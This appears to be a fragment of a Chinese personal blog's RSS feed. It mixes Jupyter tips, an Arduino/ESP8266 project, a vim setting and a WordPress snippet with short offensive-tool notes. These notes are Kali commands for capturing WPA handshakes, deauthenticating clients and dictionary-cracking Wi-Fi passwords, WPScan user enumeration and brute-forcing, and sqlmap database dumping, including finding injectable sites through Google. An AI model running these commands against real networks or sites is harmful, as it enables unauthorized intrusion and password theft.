<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl"><span class="p">(</span>array([216., 126., 106.,  95.,  87.,  81.,  77.,  73.,  71.,  68.]<span class="p">)</span>,
</span></span><span class="line"><span class="cl"> array([0. , 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1. ]),
</span></span><span class="line"><span class="cl"> <span class="p">&amp;</span>lt;a list of 10 Patch objects<span class="p">&amp;</span>gt;)
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.steemitimages.com/DQmcqi4735WDF1a9WSXsPSnqjqyWyGmQWGvrbCGcMqTv7GW/output_31_0.png" alt="output_31_0.png"  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">hist</span><span class="p">(</span><span class="n">x</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.steemitimages.com/DQmcqi4735WDF1a9WSXsPSnqjqyWyGmQWGvrbCGcMqTv7GW/output_30_1.png" alt="output_30_1.png"  />
</p>
<ul>
<li>执行 shell 命令</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="nb">dir</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">驱动器 K 中的卷是 DATA
</span></span><span class="line"><span class="cl">卷的序列号是 537C-4A16
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> K:\Workspace\python 的目录
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2018/06/08  22:03    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          .
</span></span><span class="line"><span class="cl">2018/06/08  22:03    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          ..
</span></span><span class="line"><span class="cl">2018/06/08  20:39    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          .ipynb_checkpoints
</span></span><span class="line"><span class="cl">2018/06/07  13:18    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          analyses_friend
</span></span><span class="line"><span class="cl">2018/03/18  00:21    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          dataanalysis
</span></span><span class="line"><span class="cl">2018/02/01  23:21    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          env
</span></span><span class="line"><span class="cl">2018/06/07  23:20            10,575 fangzheng.ipynb
</span></span><span class="line"><span class="cl">2018/03/24  22:47         1,780,465 get-pip.py
</span></span><span class="line"><span class="cl">2018/03/02  00:44    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          gongzhonghao
</span></span><span class="line"><span class="cl">2018/05/27  22:12    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          husespider
</span></span><span class="line"><span class="cl">2018/03/17  15:53    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          jupyteconfig
</span></span><span class="line"><span class="cl">2018/06/08  22:03            29,438 jupyter notebook.ipynb
</span></span><span class="line"><span class="cl">2018/02/28  15:15    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          shuzixiaoyuan
</span></span><span class="line"><span class="cl">2018/06/01  11:29            14,178 Untitled.ipynb
</span></span><span class="line"><span class="cl">2018/05/25  07:53    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          wechatbot
</span></span><span class="line"><span class="cl">2018/05/23  12:14    <span class="p">&amp;</span>lt;DIR<span class="p">&amp;</span>gt;          xuetangzaixian
</span></span><span class="line"><span class="cl">2018/05/05  14:14             3,252 用 Python 统计字数.ipynb
</span></span><span class="line"><span class="cl">               5 个文件      1,837,908 字节
</span></span><span class="line"><span class="cl">              12 个目录 77,272,072,192 可用字节
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="书写-latex">书写 LaTeX</h2>
<p>$$ P(A \mid B) = \frac{P(B \mid A) \, P(A)}{P(B)} $$</p>
<h2 id="将多个-kernel-的代码组合到一个-notebook">将多个 kernel 的代码组合到一个 notebook</h2>
<ul>
<li>%%bash</li>
<li>%%HTML</li>
<li>%%python2</li>
<li>%%python3</li>
<li>%%ruby</li>
<li>%%perl</li>
</ul>
<p>加%%是整个 cell 都用那个 kernel 执行代码<br>
而%是指在行以 kernel 执行相应代码</p>
<h2 id="多光标操作">多光标操作</h2>
<p><!-- raw HTML omitted -->按住 Alt 进行点击和拖拽鼠标,再按方向键<!-- raw HTML omitted --></p>
<h2 id="the-jupyter-output-system">The Jupyter output system</h2>
<p>notebook 以 HTML 的方式进行展示，cell 的输出也可以是 HTML，所以事实上你可以返回任何东西：视频/音频/图像。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># packages, modules, imports, namespaces</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">scipy.misc</span> <span class="kn">import</span> <span class="n">factorial</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># function definition with default arguments</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">poisson_pmf</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">mu</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Poisson PMF for value k with rate mu.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">mu</span><span class="o">**</span><span class="n">k</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">mu</span><span class="p">)</span> <span class="o">/</span> <span class="n">factorial</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># Jupyter notebook &#34;magic&#34; function</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Sets up &#34;inline&#34; plotting</span>
</span></span><span class="line"><span class="cl"><span class="o">%</span><span class="n">matplotlib</span> <span class="n">inline</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Importing the seaborn plotting library and setting defaults</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">seaborn</span> <span class="k">as</span> <span class="nn">sns</span>
</span></span><span class="line"><span class="cl"><span class="n">sns</span><span class="o">.</span><span class="n">set_context</span><span class="p">(</span><span class="s2">&#34;notebook&#34;</span><span class="p">,</span> <span class="n">font_scale</span><span class="o">=</span><span class="mf">1.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Variable assignment</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>  <span class="c1"># [0, 1, 2, ..., 0]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Note that poisson_pmf is vectorized</span>
</span></span><span class="line"><span class="cl"><span class="n">sns</span><span class="o">.</span><span class="n">barplot</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">poisson_pmf</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># pass is a do-nothing statement -</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Used here to suppress printing of return value for sns.barplot()</span>
</span></span><span class="line"><span class="cl"><span class="k">pass</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">i<span class="p">:</span><span class="nl">\python364\lib\site-packages\ipykernel_launcher.py</span><span class="c1">:8: DeprecationWarning: `factorial` is deprecated!</span>
</span></span><span class="line"><span class="cl">Importing `factorial` from scipy.misc is deprecated in scipy 1.0.0. Use `scipy.special.factorial` instead.
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.steemitimages.com/DQmNfqP9j2ND1ekVKQWC4UauWbza2BPB9GSQ69Ko9bsKDgj/output_40_1.png" alt="output_40_1.png"  />
</p>
<h2 id="安装扩展插件">安装扩展插件</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">python</span> <span class="o">-</span><span class="n">m</span> <span class="n">pip</span> <span class="n">install</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">github</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">ipython</span><span class="o">-</span><span class="n">contrib</span><span class="o">/</span><span class="n">jupyter_contrib_nbextensions</span><span class="o">/</span><span class="n">tarball</span><span class="o">/</span><span class="n">master</span>
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">python</span> <span class="o">-</span><span class="n">m</span>  <span class="n">pip</span> <span class="n">install</span> <span class="n">jupyter_nbextensions_configurator</span>
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">jupyter</span> <span class="n">contrib</span> <span class="n">nbextension</span> <span class="n">install</span>
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">jupyter</span> <span class="n">nbextensions_configurator</span> <span class="n">enable</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="参考文章">参考文章</h2>
<ul>
<li><a href="http://people.duke.edu/~ccc14/sta-663-2017/00_Jupyter.html">Notes on using Jupyter</a></li>
<li><a href="https://www.dataquest.io/blog/jupyter-notebook-tips-tricks-shortcuts/">28 Jupyter Notebook tips, tricks, and shortcuts</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Arduino UNOＲ3&#43;ESP8266-01实现远程控制通讯</title>
      <link>https://hacperme.com/posts/notes/2016-07-19-arduino-uno_efbd92_3_esp8266_01/</link>
      <pubDate>Tue, 19 Jul 2016 10:33:12 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2016-07-19-arduino-uno_efbd92_3_esp8266_01/</guid>
      <description>功能介绍 使用贝壳物联平台服务器提供的接口，远程控制数码管的显示。实际上就是一个简单的远程开关，利用贝壳物联平台服务器来发送远程指令；ESP8</description>
      <content:encoded><![CDATA[<p><strong><!-- raw HTML omitted -->功能介绍<!-- raw HTML omitted --></strong></p>
<p>使用贝壳物联平台服务器提供的接口，远程控制数码管的显示。实际上就是一个简单的远程开关，利用贝壳物联平台服务器来发送远程指令；ESP8266-01连接wifi登录服务器后充当arduino与服务器的之间的传声筒，其与服务器进行通讯，再利用串口与arduino进行通讯；arduino是大脑，接受指令后做出响应，控制引脚的电平。</p>
<p>指令说明：</p>
<p>play， 循环显示0-9后关闭；</p>
<p>stop,关闭；</p>
<p>1 ，显示1；</p>
<p>2，显示2；</p>
<p>&hellip;</p>
<p><strong><!-- raw HTML omitted -->材料清单<!-- raw HTML omitted --></strong></p>
<p>Arduino UNOＲ3 x1，</p>
<p>ESP8266-01 x1，</p>
<p>七段数码管5161AS x1，</p>
<p>电阻10k x1,面包板x1，</p>
<p>路由器，</p>
<p>杜邦线（公对母）x5,</p>
<p>面包板跳线 x13。</p>
<p><!-- raw HTML omitted --><strong>操作步骤</strong><!-- raw HTML omitted --></p>
<p>1、先对ESP8266-01进行透传设置，参见贝壳物联的文档，链接==&gt; <a href="http://www.bigiot.net/talk/1.html">ESP8266-01透传设置</a> 注意如果是用usb转ttl模块进行设置，需要用万能表测一下各引脚的输出电压。我在淘宝上买的USB转TTL模块接上ESP8266-01后发烫厉害，测了下每个引脚都是五点几V，而ESP8266-01工作电压是3.3V，ESP8266模块差点就烧坏了。</p>
<p>2、接线对照表：</p>
<p>七段数码管5161AS与arduino之间可以加个限流电阻限制30mA左右。查资料看到它的最大峰值电流是120mA,不加限流电阻也不会烧坏数码管。</p>
<p><img loading="lazy" src="http://www.bigiot.net/Public/upload/UEditor/image/20160102/1451714015951938.png" alt=""  />
</p>
<p><img loading="lazy" src="http://huse.photo/wp-content/uploads/2016/07/%e5%9b%be%e7%89%871-169x300.png" alt="图片1"  />
</p>
<table>
<thead>
<tr>
<th><strong>七段数码管5161AS</strong></th>
<th><strong>Arduino uno R3</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>a</td>
<td>2</td>
</tr>
<tr>
<td>b</td>
<td>3</td>
</tr>
<tr>
<td>c</td>
<td>4</td>
</tr>
<tr>
<td>d</td>
<td>5</td>
</tr>
<tr>
<td>e</td>
<td>6</td>
</tr>
<tr>
<td>f</td>
<td>7</td>
</tr>
<tr>
<td>g</td>
<td>8</td>
</tr>
<tr>
<td>dp</td>
<td>9</td>
</tr>
<tr>
<td>com 共阴</td>
<td>GND</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th><strong>ESP8266-01</strong></th>
<th><strong>电阻</strong></th>
<th><strong>Arduino uno R3</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>VCC</td>
<td>无</td>
<td>3.3V</td>
</tr>
<tr>
<td>GND</td>
<td>无</td>
<td>GND</td>
</tr>
<tr>
<td>RXD</td>
<td>无</td>
<td>TX</td>
</tr>
<tr>
<td>TXD</td>
<td>无</td>
<td>RX</td>
</tr>
<tr>
<td>CH_PD</td>
<td>10K 上拉电阻</td>
<td>3.3V</td>
</tr>
</tbody>
</table>
<p>连接好后大概这样子<img loading="lazy" src="http://huse.photo/wp-content/uploads/2016/07/%e5%9b%be%e7%89%87-300x148.jpg" alt="图片"  />
</p>
<p><strong><!-- raw HTML omitted -->代码<!-- raw HTML omitted --></strong></p>
<p>链接：http://pan.baidu.com/s/1qYrfunM 密码：bcsj</p>
<p><strong><!-- raw HTML omitted -->存在问题<!-- raw HTML omitted --></strong></p>
<p>ESP8266与wifi连接不稳定，常后又断线，导致有时发送指令arduino无响应，可能是面包板接线稳定性原因，也有可能是模块本身的问题。</p>
]]></content:encoded>
    </item>
    <item>
      <title>在kali环境下进行无线破解</title>
      <link>https://hacperme.com/posts/notes/2015-12-28-e59ca8kalie78eafe5a283e4b88be8bf9be8a18ce697a0e7babfe7a0b4e8a7a3/</link>
      <pubDate>Mon, 28 Dec 2015 01:00:31 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2015-12-28-e59ca8kalie78eafe5a283e4b88be8bf9be8a18ce697a0e7babfe7a0b4e8a7a3/</guid>
      <description>准备好外置网卡，字典文件。 查看无线网卡设备名: root@kali:~# iwconfig 启用网卡: root@kali:~# airmon-ng start 网卡名 进入监听模式:root@kali:~# airodump-ng 网卡名 复制目标BSSID并记</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="http://7xk9u4.com1.z0.glb.clouddn.com/0.jpg" alt="Wifi"  />
</p>
<ol>
<li>准备好外置网卡，字典文件。</li>
<li>查看无线网卡设备名: root@kali:~# iwconfig</li>
<li>启用网卡: root@kali:~# airmon-ng start 网卡名</li>
<li>进入监听模式:root@kali:~# airodump-ng 网卡名</li>
<li>复制目标BSSID并记住信道。</li>
<li>抓握手包:root@kali:~# airodump-ng -w 保存的包名 -c 信道 &ndash;bssid 目标的BSSID 网卡名</li>
<li>当提示WPA handshake:说明抓到了握手包，如果抓不到，可以新建终端，用如下命令来攻击，强迫重新握手:root@kali:~# aireplay-ng -0 攻击次数 -a ap_mac -c 合法客户端 mac 网卡名 &ndash;ignore-negative-one</li>
<li>或者使用MDK3工具:root@kali:~# mdk3 网卡名 a -a mac（被pin死的路由器的mac）</li>
<li>或者root@kali:~# mdk3 网卡名 d -w <!-- raw HTML omitted --> #白名单mac地址列表文件 -b <!-- raw HTML omitted --> #黑名单mac地址列表文件 -s <!-- raw HTML omitted --> #速率，这个模式下默认无限制 -c [chan,chan,chan,&hellip;]#信道，可以多填，如 2,4,5,1</li>
<li>用字典来跑密码:root@kali:~# aircrack-ng -w 字典路径 握手包名</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>关于WPScan</title>
      <link>https://hacperme.com/posts/notes/2015-12-11-e585b3e4ba8ewpscan/</link>
      <pubDate>Fri, 11 Dec 2015 15:12:05 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2015-12-11-e585b3e4ba8ewpscan/</guid>
      <description>用wpscan扫描了一下自己的网站,出现403错误,应该是被iThemes Security这个插件拦截了,然后停用此插件,继续对网站进行体检</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="http://7xk9u4.com1.z0.glb.clouddn.com/wpscan.jpg" alt="wpscan"  />
<br>
用wpscan扫描了一下自己的网站,出现403错误,应该是被iThemes Security这个插件拦截了,然后停用此插件,继续对网站进行体检,没有发现脆弱主题和脆弱插件,只是用户名使用不当,用个强大的字典就能爆破密码了。<br>
下面是一些操作指令,来自freebuf。<br>
更新:wpscan &ndash;update</p>
<p>扫描WordPress漏洞:wpscan &ndash;url [wordpress url]</p>
<p>枚举用户列表:wpscan &ndash;url [wordpress url] &ndash;enumerate u</p>
<p>暴力破解root密码:wpscan &ndash;url [wordpress url] &ndash;wordlist [path to wordlist] &ndash;username [username to brute force] &ndash;threads [number of threads to use]</p>
<p>枚举参数:<br>
下面是可以在扫描中用到的枚举参数：</p>
<p>--enumerate | -e [option(s)]<br>
Enumeration option :</p>
<p>u – usernames from id 1 to 10</p>
<p>u[10-20] usernames from id 10 to 20 (you must write [] chars)</p>
<p>p – plugins 插件</p>
<p>vp – only vulnerable plugins 只有脆弱插件</p>
<p>ap – all plugins (can take a long time) 所有插件</p>
<p>tt – timthumbs</p>
<p>t – themes 主题</p>
<p>vt – only vulnerable themes 只有脆弱主题</p>
<p>at – all themes (can take a long time) 所有主题</p>
<p>其他参数：“-e tt,p”，这几个参数被用于列举timethumbs和插件。</p>
<p><a href="http://www.hackingtutorials.org/web-application-hacking/hack-a-wordpress-website-with-wpscan/#">来源</a>与<a href="http://www.freebuf.com/tools/88653.html">freebuf</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>sqlmap的简单用法</title>
      <link>https://hacperme.com/posts/notes/2015-12-01-sqlmape79a84e7ae80e58d95e794a8e6b395/</link>
      <pubDate>Tue, 01 Dec 2015 00:27:58 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2015-12-01-sqlmape79a84e7ae80e58d95e794a8e6b395/</guid>
      <description>扫描漏洞：sqlmap -u 网址 &amp;ndash;dbs &amp;ndash;current-user 拆表名：sqlmap -u 网址 &amp;ndash;tables 拆列：sqlmap -u 网址 -T 表名 &amp;ndash;columns 获取列的字段：sqlmap -u 网址 -T 表名 -C 列名,若</description>
      <content:encoded><![CDATA[<!-- raw HTML omitted -->
<ol>
<li>扫描漏洞：sqlmap -u 网址 &ndash;dbs &ndash;current-user</li>
<li>拆表名：sqlmap -u 网址 &ndash;tables</li>
<li>拆列：sqlmap -u 网址 -T 表名 &ndash;columns</li>
<li>获取列的字段：sqlmap -u 网址 -T 表名 -C 列名,若多个列用, 分隔 &ndash;dump</li>
<li>利用谷歌找可sql 注入的网站：sqlmap -g 搜索指令</li>
<li>用nikto 扫描隐藏文件来找管理页面：nikto -host 网址<br>
或者查看网页源码,看有没有什么发现。</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>设置vim默认启用语法高亮</title>
      <link>https://hacperme.com/posts/notes/2015-11-15-e8aebee7bdaevime9bb98e8aea4e590afe794a8e8afade6b395e9ab98e4baae/</link>
      <pubDate>Sun, 15 Nov 2015 18:24:11 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2015-11-15-e8aebee7bdaevime9bb98e8aea4e590afe794a8e8afade6b395e9ab98e4baae/</guid>
      <description>在根目录的 /etc/ 下面，找到vimrc的文件，打开vimrc，添加语句： ：syntax on</description>
      <content:encoded><![CDATA[<p>在根目录的 /etc/ 下面，找到vimrc的文件，打开vimrc，添加语句：<br>
：syntax on</p>
]]></content:encoded>
    </item>
    <item>
      <title>WordPress 更改文章密码保护后显示的提示内容</title>
      <link>https://hacperme.com/posts/notes/set_worldpress_password/</link>
      <pubDate>Sat, 13 Jun 2015 10:43:59 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/set_worldpress_password/</guid>
      <description>1 2 3 4 5 6 7 8 9 10 11 12 /** * WordPress 更改文章密码保护后显示的提示内容 * http://www.wpdaxue.com/change-password-protected-text.html */ function password_protected_change( $content ) { global $post; if ( ! empty( $post-&amp;gt;post_password ) &amp;amp;&amp;amp; stripslashes( $_COOKIE[&amp;#39;wp-postpass_&amp;#39;.COOKIEHASH] ) != $post-&amp;gt;post_password ) { $output = &amp;#39; &amp;lt;form action=&amp;#34;&amp;#39; . get_option( &amp;#39;siteurl&amp;#39; ) . &amp;#39;/wp-pass.php&amp;#34; method=&amp;#34;post&amp;#34;&amp;gt; &amp;#39;.\_\_( &amp;#</description>
      <content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="cl"><span class="sd"> * WordPress 更改文章密码保护后显示的提示内容
</span></span></span><span class="line"><span class="cl"><span class="sd"> * http://www.wpdaxue.com/change-password-protected-text.html
</span></span></span><span class="line"><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">password_protected_change</span><span class="p">(</span> <span class="nv">$content</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="nv">$post</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="k">empty</span><span class="p">(</span> <span class="nv">$post</span><span class="o">-&gt;</span><span class="na">post_password</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">stripslashes</span><span class="p">(</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;wp-postpass_&#39;</span><span class="o">.</span><span class="nx">COOKIEHASH</span><span class="p">]</span> <span class="p">)</span> <span class="o">!=</span> <span class="nv">$post</span><span class="o">-&gt;</span><span class="na">post_password</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$output</span> <span class="o">=</span> <span class="s1">&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1"> 
</span></span></span><span class="line"><span class="cl"><span class="s1">        
</span></span></span><span class="line"><span class="cl"><span class="s1">&lt;form action=&#34;&#39;</span> <span class="o">.</span> <span class="nx">get_option</span><span class="p">(</span> <span class="s1">&#39;siteurl&#39;</span> <span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;/wp-pass.php&#34; method=&#34;post&#34;&gt; &#39;</span><span class="o">.</span><span class="nx">\_\_</span><span class="p">(</span> <span class="s2">&#34;这是一篇受密码保护的文章，您需要提供访问密码：&#34;</span> <span class="p">)</span><span class="o">.</span><span class="s1">&#39; &lt;label for=&#34;post_password&#34;&gt;密码：&lt;/label&gt; &lt;input class=&#34;input&#34; name=&#34;post_password&#34; size=&#34;20&#34; type=&#34;password&#34;&gt;&lt;/input&gt;&lt;input .=&#34;&#34; class=&#34;button&#34; name=&#34;Submit&#34; type=&#34;submit&#34; value=&#34;&#39;</span> <span class="o">.</span> <span class="nx">__</span><span class="p">(</span> <span class="s2">&#34;&gt;&lt;/input&gt;&lt;/form&gt; &#39;; return </span><span class="si">$output</span><span class="s2">; } else { return </span><span class="si">$content</span><span class="s2">; } } add\_filter( &#39;the\_content&#39;,&#39;password\_protected\_change&#39; );
</span></span></span><span class="line"><span class="cl"><span class="s2"> 
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
  </channel>
</rss>
